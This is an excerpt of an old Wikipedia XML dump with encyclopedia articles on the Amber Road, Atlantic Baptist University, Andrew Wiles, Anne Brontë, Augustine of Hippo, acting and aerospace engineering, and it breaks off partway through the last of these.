== External links ==
*[http://www.ciolek.com/OWTRAD/DATA/tmcZCEm0100.html OWTRAD-scientific description of the amber road in Poland]
*[http://www.ciolek.com/owtrad.html Old World Traditional Trade Routes (OWTRAD) Project] 
*[http://www.amberroad.net/index.php?lg=de&amp;ctid=2 Sketched summary of amber roads]
*[http://www.american.edu/TED/amber.htm Amber route along the river Elbe]
* [http://www.joannesrichter.homepage.t-online.de/Androgyn/SpellingTUI.pdf Joannes Richter - &quot;Spelling Thee, U &amp; I - Introducing into the art of amber trading &amp; Initiation in the great Androgyne Religion&quot;] (pdf file)
* [http://www.joannesrichter.homepage.t-online.de/Androgyn/Bernsteinrouten_BK.pdf Joannes Richter - &quot;Die Bernsteinroute bei Backnang&quot;] (pdf file)

[[Category:trade routes]]
[[Category:History of Europe]]
[[Category:Prehistory of Poland (until 966)]]
[[Category:History of Prussia]]

[[de:Bernsteinstraße]]
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[[pl:Szlak bursztynowy]]
[[sk:Jantárová cesta (história)]]</text>
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  </page>
  <page>
    <title>Atlantic Baptist University</title>
    <id>2025</id>
    <revision>
      <id>40359414</id>
      <timestamp>2006-02-20T01:18:31Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Atlantic Baptist University''' is a small [[Liberal Arts]] university located in [[Moncton, New Brunswick]], [[Canada]]. It offers undergraduate degrees in Arts, Science, and Education, and is run by the [[Convention of Atlantic Baptist Churches]].

The school was founded in [[1949]] under the name [[United Baptist Bible Training School]] (UBBTS), and served as both a [[secondary school]] and a [[Bible school]]. Over two decades, the focus of the school gradually shifted toward post-secondary programs. In [[1968]], UBBTS became a Bible and Junior Christian Liberal Arts College, and in [[1970]] the name was changed to '''Atlantic Baptist College''' (ABC). A sustained campaign to expand the school's faculty and improve the level of education resulted in ABC being able to grant full [[Bachelor of Arts]] degrees in the early [[1980s]].  Its campus at this time was located along the Salisbury Road, west of Moncton's central business district.

The institution moved to a new campus constructed on the Gorge Road, north of the central business district, in [[1996]].  The name was also changed to Atlantic Baptist University, a reflection of expanded student enrollment and academic accreditation.  ABU sports teams play under the name ''Blue Tide''.  ABU remains the only English university in [[New Brunswick]]'s second largest, and fastest growing city.

== See also ==
[[List of colleges and universities]]

==External links==
*[http://www.abu.nb.ca Atlantic Baptist University's Homepage]

{{canada-university-stub}}
{{NB Uni}}
[[Category:Universities and colleges in New Brunswick]]</text>
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    <title>Old AT&amp;T</title>
    <id>2026</id>
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      <comment>organized article per other company mergers (Sprint/Nextel, Sears/Kmart, etc)</comment>
      <text xml:space="preserve">#REDIRECT[[AT&amp;T]]</text>
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  <page>
    <title>Andrew Wiles</title>
    <id>2027</id>
    <revision>
      <id>41966631</id>
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      <minor />
      <comment>robot  Modifying: ru</comment>
      <text xml:space="preserve">:''Andrew Wiles should not be confused with [[André Weil]], another famous mathematician who, like Wiles, has done important work in [[elliptic curve]]s.''
'''Sir Andrew John Wiles''' (born [[April 11]], [[1953]]) is a [[United Kingdom|British]] [[mathematician]] living in the [[United States]]. He was educated at [[The Leys School]] Cambridge and  in 1974 he graduated from the [[University of Oxford]].  He then completed his [[Doctor of Philosophy|Ph.D.]] at [[ Clare College, Cambridge|Clare College]] of the [[University of Cambridge]] in 1979 and is currently a Professor and the chair of the department of mathematics at [[Princeton University]]. In one of the great success stories in the history of [[mathematics]], Wiles (with help from [[Richard Taylor (mathematician)|Richard Taylor]]) proved [[Fermat's last theorem|Fermat's Last Theorem]] in 1994.

==Early life and work==

Before this result, Andrew Wiles had done outstanding work in [[number theory]]. In work with [[John Coates]] he obtained some of the first results on the famous [[Birch and Swinnerton-Dyer conjecture]], and he also did important work on the ''[[Iwasawa main conjecture|main conjecture]]'' of [[Iwasawa theory]].

==Interest in the Fermat problem==

Fermat's Last Theorem (FLT) asserts that there are no positive [[integer]]s ''x'', ''y'', and ''z'' such that 

:&lt;math&gt;x^n + y^n = z^n \,&lt;/math&gt;

in which ''n'' is a [[natural number]] greater than 2.  

Wiles had been inspired by the problem as a child when he encountered it in [[Eric Temple Bell|E.T. Bell]]'s book, ''The Last Problem''. His odyssey towards the final [[mathematical proof|proof]] began in 1985 when [[Ken Ribet]], inspired by ideas of [[Jean-Pierre Serre]] and [[Gerhard Frey]], proved that Fermat's Last Theorem would follow from another conjecture of [[Yutaka Taniyama|Taniyama]], [[Goro Shimura|Shimura]] and [[André Weil|Weil]], to the effect that every [[elliptic curve]] can be parametrized by [[modular form]]s. Though less familiar than Fermat's Last Theorem, the [[Taniyama-Shimura theorem]] is the more significant of the two, because it touches on truly deep currents in number theory. No one had any idea how to prove it. Working in absolute secrecy, and sharing his ideas and progress only with [[Nicholas Katz]], another professor of mathematics at Princeton, Wiles eventually developed a proof of the Taniyama-Shimura-Weil conjecture, and hence of FLT. The proof is a ''tour de force'' introducing many new ideas.

==Announcement and aftermath==

Wiles was uncharacteristically dramatic in revealing the proof. He arranged to give three [[lecture]]s at the [[Isaac Newton Institute]], [[Cambridge]], [[England]], in June of 1993. He did not announce the topic of the lectures in advance, and as the audience and the world became aware of where the lectures were headed, the audience swelled so that the third lecture was to an overpacked room. At the end of the third lecture, he announced &quot;(...) this proves Fermat's Last Theorem. I'll stop here&quot;, and received a standing ovation.

In the following months, the manuscript of the proof was circulated only to a small number of mathematicians while the world waited for its general publication. The first version of the proof depended on the construction of an object called an [[Euler system]], and this aspect proved problematical, as a flaw emerged during [[peer review]] of the subtle and complex mathematics involved. For almost a year it began to seem that Wiles' proof was destined like so many others to be fatally flawed, and that although he had made many important discoveries, the ultimate goal had eluded him.  Wiles was on the point of giving up finally, when he decided to have one last try at  solving the last remaining problem in his proof in collaboration with [[Richard Taylor (mathematician)|Richard Taylor]], one of his former PhD students in 1994.  He commented:
:&quot;... suddenly, totally unexpectedly, I had this incredible revelation. It was the most important moment of my working life. Nothing I ever do again will mean as much ... it was so indescribably beautiful, it was so simple and so elegant, and I just stared in disbelief for twenty minutes, then during the day I walked round the department. I'd keep coming back to my desk to see it was still there &amp;ndash; it was still there.&quot;

The final version of Wiles' proof, which therefore differs from his original one, was published in the ''[[Annals of Mathematics]]'' 141 (1995), pp. 443&amp;ndash;551, together with another, supporting article by Wiles and Taylor titled &quot;[[Ring (mathematics)|Ring]]-theoretic properties of certain [[Hecke algebra]]s&quot; (''Annals of Mathematics'' 141 (1995), pp. 553&amp;ndash;572) relating to the final step of discovery.

==Awards==

Wiles has been awarded several major prizes in mathematics: [[Schock Prize]] ([[1995]]), [[Royal Medal]] (1996), [[Cole Prize]] (1996), [[Wolf Prize in Mathematics|Wolf Prize]] ([[1996]]), a silver plate from the [[International Mathematical Union]] ([[1998]]), [[Faisal of Saudi Arabia|King Faisal]] Prize ([[1998]]), [[Clay Research Award]] ([[1999]]) and [[Shaw Prize]] ([[2005]]). He became a [[Knight of the British Empire]] in 2000. Wiles cannot receive the [[Fields Medal]] as the award can only be given to those below 40 years of age (Wiles was born in 1953 and proved the theorem in 1994), a rule strictly adhered to.

== Further reading ==

*[[Simon Singh]], ''Fermat's Last Theorem'', ISBN 1841157910.  A best-selling book about Wiles and the story of his discovering of the proof.
* ''[http://math.stanford.edu/~lekheng/flt/wiles.pdf Modular elliptic curves and Fermat's Last Theorem]'' &amp;ndash; [[Annals of Mathematics]], 1995 (the published paper of his results).

== External links ==
* [[Nova (TV series)|Nova]] [http://www.pbs.org/wgbh/nova/transcripts/2414proof.html &quot;The Proof&quot; Transcript] [[PBS]] Airdate: October 28, 1997
* {{MacTutor Biography|id=Wiles}}
* [http://fermatslasttheorem.blogspot.com Fermat's Last Theorem Blog] &amp;ndash; blog that traces the history of Fermat's Theorem from Fermat to Andrew Wiles.

[[Category:1953 births|Wiles, Andrew]]
[[Category:Living people|Wiles, Andrew]]
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[[Category:Fellows of the Royal Society|Wiles, Andrew]]
[[Category:MacArthur Fellows|Wiles, Andrew]]
[[Category:Number theorists|Wiles, Andrew]]
[[Category:Former students of Merton College, Oxford|Wiles, Andrew]]
[[Category:Alumni of Clare College, Cambridge|Wiles, Andrew]]
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  <page>
    <title>Anne Brontë</title>
    <id>2029</id>
    <revision>
      <id>41422946</id>
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      <text xml:space="preserve">{| align=right
|[[Image:Anne_Bronte.jpg|thumb|200px|Anne Brontë, by Charlotte Brontë, 1834]]
|-
|[[Image:Annebronte.jpg|thumb|200px|Anne Brontë's grave at Scarborough]]
|}

'''Anne Brontë''' {{IPA|/b&amp;#633;&amp;#593;nti/}} ([[January 17]], [[1820]] &amp;ndash; [[May 28]], [[1849]]) was a British novelist and poet, the youngest of the [[Brontë]] literary family. 

She was born in the village of [[Thornton, Bradford|Thornton]], [[Yorkshire]], [[England]], the last of six siblings. Anne's mother, Maria Branwell Brontë, died of cancer a year later in [[1821]], after the family had moved to [[Haworth]] where her father, [[Patrick Brontë]], was appointed [[vicar|perpetual curate]]. While she was a child her two eldest siblings, Maria and Elizabeth died of tuberculousis and much has been written about the influence of these deaths on her and her siblings and how it may have affected their later writings. Two of her sisters, [[Charlotte Brontë|Charlotte]] and [[Emily Brontë|Emily]], were also authors and poets. Anne's poetry was published, along with that of her sisters, in [[1846]], under the [[pseudonym]] &quot;[[Acton Bell]]&quot;.  

Shortly after the deaths of her brother [[Branwell Brontë|Branwell]] and sister Emily in the winter of [[1848]], Anne Brontë died at the [[seaside resort]] of [[Scarborough, England]], where she had gone to convalesce after a prolonged illness. She was buried there at Saint Mary's Churchyard. 

==Books credited to Acton Bell==  
*''[[Agnes Grey]],'' published [[1847]]
*''[[The Tenant of Wildfell Hall]],'' published [[1848]]

==References==
* {{A Short Biographical Dictionary of English Literature}}
* ''Anne Bronte'', Winifred Gerin
* ''A Life of Anne Bronte'', Edward Chitham
* ''The Brontes'', Juliet Barker

==External links==
*[http://www.shef.ac.uk/misc/personal/cs1ma/anne/bronte.html Anne Brontë – The Scarborough Connection]
*{{gutenberg author | id=Anne_Brontë | name=Anne Brontë}}
*[http://bronteblog.blogspot.com News and information about the Brontës using a blog format.]
* [http://wildfell.aking-mahal.net/ ''Truth'' – the Tenant of Wildfell Hall fanlisting]
* [http://groups.yahoo.com/group/BronteSistersLinks/ Bronte Sisters Links: the biggest collection of links regarding the Bronte Sisters]
* [http://bronteana.blogspot.com Brontëana: Brontë Studies Weblog]

[[category:Pseudonyms|Bell, Acton]]
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[[Category:English poets|Bronte, Anne]]
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[[Category:Natives of Yorkshire|Bronte, Anne]]
[[Category:Women of the Victorian era|Brontë, Anne]]
[[Category:Women poets|Brontë, Anne]]
[[Category:Women writers|Brontë, Anne]]

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  <page>
    <title>Augustine of Hippo</title>
    <id>2030</id>
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      <text xml:space="preserve">[[image:Augustine_of_Hippo.jpg|right|thumb|St. Augustine of Hippo as pictured during the [[Renaissance]]]]
'''Aurelius Augustinus''', '''Augustine of Hippo''' (&quot;The knowledgeable one&quot;) ([[November 13]], [[354]]&amp;ndash;[[August 28]], [[430]]) is a [[saint]] and pre-eminent [[Doctor of the Church]] in [[Roman Catholic Church|Roman Catholicism]], and is considered by [[Evangelicalism|Evangelical]] [[Protestantism|Protestants]] to be, together with the [[Apostle Paul]] and the [[Bible]], one of the theological fountainheads of the [[Reformation]] teaching on [[salvation]] and [[divine grace|grace]]. He was the eldest son of [[Monica of Hippo|Saint Monica]]. Works of Saint Augustine, an [[African]] by birth, (as well as a Bishop in the [[Early African Church]]) a [[Rome|Roman]] by education, a [[Milan]]ese by [[baptism]], still inspire many Christians all over the world. His work ''[[Confessions (St. Augustine)|Confessions]]'' is often attributed as the first Western [[autobiography]].

==Life==
[[Image:Sainte Monique.jpg|thumb|right|&quot;St Augustine and Monica&quot; (1846), by [[Ary Scheffer]].]]
Saint Augustine was born in [[354]] in [[Tagaste]], a provincial Roman city in [[North Africa]]. He was raised and educated in [[Carthage]]. His mother Monica ([[Saint Monica]]) was a devout [[Catholic]]{{fn|1}} and his father [[Patricius]] a [[Paganism|pagan]] but Augustine followed the controversial [[Manichaeism|Manichaean]] religion, much to the horror of his mother. As a youth Augustine lived a hedonistic lifestyle for a time, and in Carthage, he developed a relationship with a young woman who would be his [[concubine]] for over a decade, with whom he had a son. His education and early career was in [[philosophy]] and [[rhetoric]], the art of persuasion and public speaking. He taught in Tagaste and Carthage, but desired to travel to Rome where he believed the best and brightest rhetoricians practiced (he was later to find out that they would simply refuse to pay). However, Augustine grew disappointed with the Roman schools, which he found apathetic. Manichean friends introduced him to the prefect of the City of Rome, [[Symmachus]], who had been asked to provide a professor of rhetoric for the imperial court at [[Milan]]. 

The young provincial won the job and headed north to take up his position in late [[384]]. At age thirty, Augustine had won the most visible academic chair in the Latin world, at a time when such posts gave ready access to political careers. However, he felt the tensions of life at an imperial court, lamenting one day as he rode in his carriage to deliver a grand speech before the emperor, that a drunken beggar he passed on the street had a less careworn existence than he. 

His mother Monica pressured him to become a Catholic, but it was the bishop of Milan, [[Ambrose]], who had most influence over Augustine. Ambrose was a master of rhetoric like Augustine himself, but older and more experienced. Prompted in part by Ambrose's [[sermon]]s, and other studies, including a disappointing meeting with a key exponent of Manichaean theology, Augustine moved away from Manichaeism; but instead of becoming Catholic like Ambrose and Monica, he converted to a pagan [[Neoplatonism|Neoplatonic]] approach to truth, saying that for a time he had a sense of making real progress in his quest, although he eventually lapsed into skepticism.  

Augustine's mother had followed him to Milan and he allowed her to arrange a society marriage, for which he abandoned his concubine (however he had to wait two years until his fiancée came of age; he promptly took up in the meantime with another woman).  It was during this period Augustine of Hippo uttered his famous prayer, &quot;Grant me chastity and continence, but not yet&quot; [da mihi castitatem et continentiam, sed noli modo]. 

In the summer of [[386]], after having read an account of the life of [[Anthony the Great|Saint Anthony of the Desert]] which greatly inspired him, Augustine underwent a profound personal crisis and decided to convert to Christianity, abandon his career in rhetoric, quit his teaching position in Milan, give up any ideas of marriage (much to the horror of his mother), and devote himself entirely to serving [[God]] and the practices of [[priesthood]], which included [[celibacy]]. Key to this conversion/'born again' experience was the voice of a small girl he heard at one point telling him in a sing-song voice to 'Take and read' the Bible, at which point he opened the Bible at random and fell upon a passage from [[Paul of Tarsus|St. Paul]]. He would detail his spiritual journey in his famous ''[[Confessions (St. Augustine)|Confessions]]'', which went on to become a classic of both Christian theology and world literature. Ambrose baptized Augustine on [[Easter]] day in [[387]], and soon thereafter in [[388]] he returned to Africa. On his way back to Africa his mother died, as did his son soon after, leaving him relatively alone in the world without family.

Upon his return to north Africa he created a [[monastic]] foundation at Tagaste for himself and a group of friends. In [[391]] he was [[ordination|ordained]] a [[priest]] in [[Hippo Regius]], (now [[Annaba]], in [[Algeria]]). He became a famous [[preacher]] (more than 350 preserved sermons are believed to be authentic), and was noted for combating the Manichaean heresy.  

In [[396]] he was made [[coadjutor bishop]] of Hippo (assistant with the right of succession on the death of the current bishop), and remained as [[bishop]] in Hippo until his death in [[430]]. He left his monastery, but continued to lead a monastic life in the episcopal residence. He left a Rule ([[Latin]], ''Regula'') for his monastery that has led him to be designated the &quot;[[patron saint]] of [[Regular Clergy]],&quot; that is, [[parish clergy]] who live by a [[monastic rule]].

Augustine died on [[August 28]], [[430]], during the siege of Hippo by the [[Vandals]]. He is said to have encouraged its citizens to resist the attacks, primarily on the grounds that the Vandals adhered to [[Arianism|Arianism]], which was heretical according to the doctrine of the Catholic Church.

==Influence as a theologian and thinker==
[[Image:Tiffany Window of St Augustine - Lightner Museum.JPG|thumb|right|250px|Detail of St. Augustine in a [[stained glass window]] by [[Louis Comfort Tiffany]] in the [[Lightner Museum]], [[St. Augustine, Florida]].]]

Augustine remains a central figure, both within Christianity and in the history of Western thought.  In both his philosophical and theological reasoning, he was greatly influenced by [[Stoicism]], [[Platonism]] and [[Neoplatonism]], particularly by the work of [[Plotinus]], author of the [[Enneads]], probably through the mediation of [[Porphyry (philosopher)|Porphyry]] and [[Victorinus]] (as [[Pierre Hadot]] has argued). His generally favorable outlook upon Neoplatonic thought contributed to the &quot;baptism&quot; of Greek thought and its entrance into the Christian and subsequently the [[European]] intellectual tradition. His early and influential writing on the [[Will (philosophy)|human will]], a central topic in [[ethics]], would became a focus for later philosophers such as [[Arthur Schopenhauer|Schopenhauer]] and [[Friedrich Nietzsche|Nietzsche]]. 

It is largely due to Augustine's arguments against the [[Pelagians]], who did not believe in [[original sin]], that [[Western Christianity]] has maintained the doctrine of original sin. However, [[Eastern Orthodox]] theologians regard this part of his teaching to be an unwarranted innovation and a key source of division between East and West. 

Augustine's writings helped formulate the theory of [[The Just War Theory|the just war]]. He also advocated the use of force against the [[Donatism|Donatists]], asking &quot;Why ... should not the Church use force in compelling her lost sons to return, if the lost sons compelled others to their destruction?&quot; (''The Correction of the Donatists'', 22&amp;ndash;24)

Augustine's work ''[[The City of God]]'' heavily influenced works of [[Wincenty Kadlubek]] and [[Stanislaw of Skarbimierz]] on the relation between ruler and his subjects that led to the creation of [[Nobles' Democracy]] and &quot;De optimo senatore&quot; by [[Wawrzyniec Grzymala Goslicki]].

St. [[Thomas Aquinas]] took much from Augustine's theology while creating his own unique synthesis of Greek and Christian thought after the widespread rediscovery of the work of [[Aristotle]].

While Augustine's doctrine of divine [[predestination]] would never be wholly forgotten within the [[Catholicism|Catholic Church]], finding eloquent expression in the works of [[Bernard of Clairvaux]], [[Reformation]] theologians such as [[Martin Luther]] and [[John Calvin]] would look back to him as the inspiration for their avowed capturing of the Biblical Gospel.  Later, within the [[Catholicism|Catholic Church]], the writings of [[Cornelius Jansen]], who claimed heavy influence from Augustine, would form the basis the movement known as [[Jansenism]]; some Jansenists went into [[schism]] and formed their own church.

Augustine was [[canonization|canonized]] by popular recognition and recognized as a [[Doctor of the Church]] in [[1303]] by [[Pope Boniface VIII]]. His [[feast day]] is [[August 28]], the day on which he is thought to have died. He is considered the [[patron saint]] of brewers, printers, theologians, sore eyes, and a number of cities and dioceses.

The latter part of Augustine's ''Confessions'' consists of an extended meditation on the nature of time.  Catholic theologians generally subscribe to Augustine's belief that God exists [[eternity|outside of time]] in the &quot;eternal present&quot;; that time only exists within the created universe.  

Augustine's meditations on the nature of time are closely linked to his consideration of the human ability of [[memory]]. [[Frances Yates]] in her [[1966]] study, ''The Art Of Memory'' argues that a brief passage of the ''Confessions'', X.8.12, in which Augustine writes of walking up a flight of stairs and entering the vast fields of memory [http://www.stoa.org/hippo/text10.html#TB10C8S12 (see text and commentary)] clearly indicates that the ancient Romans were aware of how to use explicit spatial and architectural metaphors as a [[mnemonic]] technique for organizing large amounts of information. A few French philosophers have argued that this technique can be seen as the conceptual ancestor of the [[user interface]] [[paradigm]] of [[virtual reality]].

Augustine's writings also contain passages that have influenced thinkers in disciplines that did not exist in his day. Georg C.F. Greene of the [[Free Software Foundation]] considers a passage from Augustine's ''De Doctrina Christiana'' [http://gnuhh.org/work/fsf-europe/augustinus.html] to be one of the philosophical foundations of the [[free software movement]] with which he is involved.  In Book I, Chapter 1 of that work, Augustine writes, &quot;For if a thing is not diminished by being shared with others, it is not rightly owned if it is only owned and not shared.&quot;  Thus, Greve argues, knowledge, unlike physical possessions, must be freely shared.

According to [[Leo Ruickbie]], Augustine's arguments against [[magic]], differentiating it from [[miracle]], were crucial in the early Church's fight against [[paganism]] and became a central thesis in the later denunciation of witches and [[witchcraft]].

== Augustine and the Jews ==
Augustine wrote in Book 18, Chapter 46 of ''[[The City of God]]'' [http://www.ccel.org/fathers/NPNF1-02/Augustine/cog/t103.htm] (one of his most celebrated works along with ''[[Confessions (St. Augustine)|The Confessions]]''): &quot;The Jews who slew [[Jesus|Him]], and would not believe in Him, because it behooved Him to die and rise again, were yet more miserably wasted by the Romans, and utterly rooted out from their kingdom, where aliens had already ruled over them, and were dispersed through the lands (so that indeed there is no place where they are not), and are thus by their own Scriptures a testimony to us that we have not forged the prophecies about Christ.&quot; 

Augustine deemed this scattering important because he believed that it was a fulfillment of certain prophecies, thus proving that Jesus was the [[Messiah]]. This is because Augustine believed that the Jews who were dispersed were the enemies of the Christian Church. He also quotes part of the same prophecy that says &quot;Slay them not, lest they should at last forget Thy law&quot;. Some people have used Augustine's words to attack Jews as anti-Christian, while others have used them to attack Christians as anti-Jewish. See [[Christianity and anti-Semitism]].

==Books==
*''On Christian Doctrine,'' [[397]]-[[426]]
*''[[Confessions (St. Augustine)|Confessions]],'' 397-[[398]]
*''[[The City of God]],'' begun ca. [[413]], finished 426
*''On the Trinity,'' [[400]]-[[416]]
*''[[Enchiridion of Augustine|Enchiridion]]''
*''[[Retractions (book)|Retractions]]'': At the end of his life (ca. [[426]]-[[428]]) Augustine revisited his previous works in chronological order and suggested what he would have said differently in a work titled the ''[[Retractions (book)|Retractions]]'', giving the reader a rare picture of the development of a writer and his final thoughts.
*''[[The Literal Meaning of Genesis]]''
*On Free Choice

==Letters==
*On the Catechising of the Uninstructed 
*On Faith and the Creed 
*Concerning Faith of Things Not Seen 
*On the Profit of Believing 
*On the Creed: A Sermon to Catechumens 
*On Continence 
*On the Good of Marriage 
*On Holy Virginity 
*On the Good of Widowhood 
*On Lying 
*To Consentius: Against Lying 
*On the Work of Monks 
*On Patience 
*On Care to be Had For the Dead 
*On the Morals of the Catholic Church 
*On the Morals of the Manichaeans 
*On Two Souls, Against the Manichaeans 
*Acts or Disputation Against Fortunatus the Manichaean 
*Against the Epistle of Manichaeus Called Fundamental 
*Reply to Faustus the Manichaean 
*Concerning the Nature of Good, Against the Manichaeans 
*On Baptism, Against the Donatists 
*Answer to Letters of Petilian, Bishop of Cirta 
*The Correction of the Donatists 
*Merits and Remission of Sin, and Infant Baptism 
*On the Spirit and the Letter 
*On Nature and Grace 
*On Man's Perfection in Righteousness 
*On the Proceedings of Pelagius 
*On the Grace of Christ, and on Original Sin 
*On Marriage and Concupiscence 
*On the Soul and its Origin 
*Against Two Letters of the Pelagians 
*On Grace and Free Will 
*On Rebuke and Grace 
*The Predestination of the Saints/Gift of Perseverance 
*Our Lord's Sermon on the Mount 
*The Harmony of the Gospels 
*Sermons on Selected Lessons of the New Testament 
*Tractates on the Gospel of John 
*Homilies on the First Epistle of John 
*Soliloquies 
*The Enarrations, or Expositions, on the Psalms
*On the Immortality of the Soul

==Notes==
*{{fnb|1}} Monica would have called herself a Catholic. However the word Catholic is not being used in the modern sense of Catholic versus Orthodox. Rather in the older sense of a follower of the [[Nicene Creed]], in that she was not a [[Donatist]] or [[Arian]], a significant distinction for the time.

*[[Christian rock]] band [[Petra (band)|Petra]] dedicated a song to St. Augustine called ''&quot;St. Augustine Pears&quot;''. It's based on one of Augustine's writings in his book &quot;Confessions&quot; where he tells of how he stole some neighbor's pears without being hungry, and how that petty theft haunted him through his life.[http://ccat.sas.upenn.edu/rels/002/lectures/lecture18.html]

*[[Jon Foreman]], lead singer and song writer of the [[Christian rock]] band [[Switchfoot]] wrote a song called &quot;Something More (Augustine's Confession),&quot; based after the life and book, &quot;Confessions&quot;, of Augustine.

==See also==
* [[Augustinians]]
* [[Predestination]]
* [[Free will]]
* [[Pelagianism]]
* [[In necessariis unitas, in dubiis libertas, in omnibus caritas]]
* [[Constantinian shift]]
* [[Floria Aemilia]]
* [[Filioque clause]]

==Bibliography==
*[[Peter Brown (historian) | Brown, Peter]]. ''Augustine of Hippo''.  Berkeley: University of California Press, 1967.  ISBN 0-520-00186-9
*[[James J. O'Donnell|O'Donnell, James J.]] ''Augustine: A New Biography''. New York:  HarperCollins, 2005. ISBN 0-06-053537-7
*[[Leo Ruickbie|Ruickbie, Leo]]. ''Witchcraft Out of the Shadows''. London: Robert Hale, 2004. ISBN 0-7090-7567-7), pp. 57-8.
*[[Adolphe Tanquerey|Tanquerey, Adolphe]]. ''The Spiritual Life: A Treatise on [[Ascetical theology|Ascetical]] and Mystical Theology''.  Reprinted Ed. (original 1930).  Rockford, IL: Tan Books, 2000. ISBN 0895556596, p. 37.
*[[John von Heyking|von Heyking, John]]. ''Augustine and Politics as Longing in the World''. Columbia:  University of Missouri Press, 2001.  ISBN 0826213499

==External links==
{{wikiquote}}
*General:
**At UPENN: [http://ccat.sas.upenn.edu/jod/augustine/ Texts, translations, introductions, commentaries...]
** [http://www.earlychurch.org.uk/augustine.php EarlyChurch.org.uk] Extensive bibliography and on-line articles.
*Texts by Augustine:
** {{gutenberg author|id=Augustine_of_Hippo|name=Augustine of Hippo}}
** In Latin, at [[The Latin Library]]: [http://www.thelatinlibrary.com/august.html books and letters by Augustine]
**At &quot;Christian Classics Ethereal Library&quot; [http://www.ccel.org/a/augustine/ Translations of several works by Augustine, incl. introductions]
**At &quot;New Advent&quot;: [http://www.newadvent.org/fathers/ Several works by Augustine in English, incl. introduction]
**[http://www.philosophyarchive.com/text.php?era=400-499&amp;author=Augustine&amp;text=Confessions%20and%20Enchiridion%20Introduction The Enchiridion] by Augustine
**[http://www.augustinus.it] Full Latin and Italian text resource
**At &quot;IntraText Digital Library&quot;: [http://www.intratext.com/Catalogo/Autori/AUT31.HTM Works by Augustine in several languages, with concordance and frequency list]
*Texts on Augustine:
**[http://www.mrrena.com/august.shtml St. Augustine: Between Two Worlds]
**[http://personal2.stthomas.edu/gwschlabach/docs/jhy-aug.htm  Augustine and 'other catholics']
**[http://plato.stanford.edu/entries/augustine/ Stanford Encyclopedia of Philosophy entry]

[[Category:Church Fathers]]
[[Category:Ancient Roman Christianity]]
[[Category:Algerian people]]
[[Category:Catholic philosophers|Augustine of Hippo]]
[[Category:Christian philosophers]]
[[Category:Christian writers]]
[[Category:History of the Maghreb]]
[[Category:Late Antique writers]]
[[Category:Neoplatonists]]
[[Category:Saints]]
[[Category:Theologians]]
[[Category:Doctors of the Church]]
[[Category:Roman Catholic bishops]]
[[Category:Ancient Roman rhetoricians]]
[[Category:354 births|Augustine of Hippo]]
[[Category:430 deaths|Augustine of Hippo]]
[[Category:Rhetoricians|Augustine of Hippo]]

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[[zh:奥古斯丁 (希波)]]</text>
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  </page>
  <page>
    <title>Acting</title>
    <id>2032</id>
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        <username>Marcuse</username>
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      <minor />
      <comment>unlink name without article</comment>
      <text xml:space="preserve">:''For legal meaning of '''acting''', see [[Acting (law)]].''
:''For the military sense, see [[Acting (rank)]].''

'''Acting''' is the work of an '''[[actor]]''', a person in [[theatre]], [[film]], or any other storytelling medium who tells the story by portraying a character and, usually, speaking or singing the written text or [[play]]. From the [[Latin]] word ''ag&amp;#x0115;re'' meaning &quot;to do&quot;, this is precisely what acting is.  In acting, an actor suppresses or augments aspects of their personality in order to reveal the actions and motivations of the [[fictional character|character]] for particular moments in time.  The [[actor]] is said to be &quot;assuming the [[role]]&quot; of another, usually for the benefit of an [[audience]], but also because it can bring one a sense of artistic satisfaction.

Actors are generally expected to possess a number of skills, including good vocal projection, clarity of speech, physical expressiveness, the ability to analyze and understand dramatic text, and the ability to emulate or generate emotional and physical conditions. Well-rounded actors are often also skilled in [[singing]], [[dancing]], imitating [[dialect]]s and [[Accent (language)|accent]]s, [[improvisational theatre|improvisation]], observation and emulation, [[mime]], [[stage combat]], and performing classical texts such as [[William Shakespeare|Shakespeare]]. Many actors train at length in special programs or colleges to develop these skills, which have a wide range of different artistic philosophies and processes.  

Modern pioneers in the area of acting have included [[Konstantin Stanislavski]], [[Jerzy Grotowski]], [[Lee Strasberg]], [[Uta Hagen]], [[Stella Adler]], Eric Morris, [[Michael Chekhov]], [[Viola Spolin]] and [[Sanford Meisner]].

For history and other detail, see [[actor]].

==See also==
* [[Method acting]]
* [[Theater_terms|A list of theater terms]]

==Suggested Reading==
* ''Letters to a Young Actor'' by Robert Brustein (Basic Books, 0465008062, 2005).
* ''Sanford Meisner on Acting'' by Sanford Meisner, Dennis Longwell (Random House, 0394750594, 1987).
* ''An Actor Prepares'' by Konstantin Stanislavski, Elizabeth Reynolds Hapgood (Routledge, 0878309837, 1989).
* ''[http://actorsmenu.com The Actor's Menu]'' by Bill Howey (Compass Publishing, 0975310224, 2005).

==External links==
{{wikiquote}}
*[http://www.alexander-tech.com/forarts.html Article on how the Alexander Technique can help actors and acting]

[[Category:Acting| ]]
[[Category:Role-playing]]

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    <title>Aztec Mythology</title>
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      <comment>#REDIRECT [[Aztec mythology]]</comment>
      <text xml:space="preserve">#REDIRECT [[Aztec mythology]]</text>
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  </page>
  <page>
    <title>Aerospace engineering</title>
    <id>2036</id>
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      <comment>/* Aerospace engineering degrees */</comment>
      <text xml:space="preserve">'''Aerospace engineering''' is the branch of [[engineering]] that concerns [[aircraft]], [[spacecraft]] and related topics.  It is often called aeronautical engineering, particularly when referring solely to aircraft, and astronautical engineering, when referring to spacecraft.

Some of the elements of aerospace engineering are:
* [[Aerodynamics]] - the study of [[fluid]] flow around objects such as [[wing]]s or through objects such as [[wind tunnel]]s (see also [[Lift (force)|lift]] and [[aeronautics]])
* Propulsion - the energy to move a vehicle through the air (or in outer space) is provided by [[internal combustion engine]]s, [[jet engine]]s, or [[rocket]]s (see also [[propeller]] and [[Spacecraft Propulsion]])
* [[Control engineering]] - the study of mathematical modelling of systems and designing them in order that they behave in the desired way
* Structures - design of the physical configuration of the craft to withstand the forces encountered during flight. Aerospace engineering aims very much at keeping structures lightweight.
* [[Materials science]] - related to structures, aerospace engineering also studies the materials of which the aerospace structures are to be built. New materials with very specific properties are invented, or existing ones are modified to improve their performance.
* [[Aeroelasticity]] - the interaction of aerodynamic forces and structural flexibility, potentially causing flutter, divergence, etc
* [[Computer science]] - specifically concerning the design and programming of any computer systems on board an aircraft or spacecraft and the simulation of systems.

